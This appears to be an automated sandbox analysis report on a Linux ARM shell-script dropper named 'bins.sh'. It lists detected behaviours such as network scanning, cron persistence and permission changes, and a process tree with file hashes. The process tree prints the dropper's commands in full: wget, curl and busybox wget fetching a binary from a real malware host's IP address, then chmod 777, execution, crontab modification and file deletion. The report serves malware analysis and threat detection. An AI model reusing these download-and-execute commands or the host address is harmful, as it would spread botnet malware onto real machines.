Analysis

  • max time kernel
    150s
  • max time network
    189s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/11/2024, 09:19

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-lajphavang
  • SHA256 9652b3536ccbb75a3903fb68652b2dcaa59a43553361cb914447c1c250e7aea2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2051) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:659
        • /usr/bin/wget
          wget http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
          2⤵
          • Writes file to tmp directory
          PID:661
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
          2⤵
          • File and Directory Permissions Modification
          PID:696
        • /tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
          ./tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:697
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:699
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:701
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:703
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:704
              • /bin/rm
                rm tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
                2⤵
                  PID:714
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/cayWFU8o0VGt74yfWT1bYNSzBkMqiwstoe
                  2⤵
                    PID:717

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0

                      • Path /tmp/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
                      • Size 177KB
                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                      • MD5 SHA1 SHA512 SSDEEP

                      tmp.6GyW7m

                      • Path /var/spool/cron/crontabs/tmp.6GyW7m
                      • Size 210B
                      • SHA256 3fccd3cf97ae118b4fd992d7579aa16a320ce3d62c573a5630ed30251c70920e
                      • MD5 SHA1 SHA512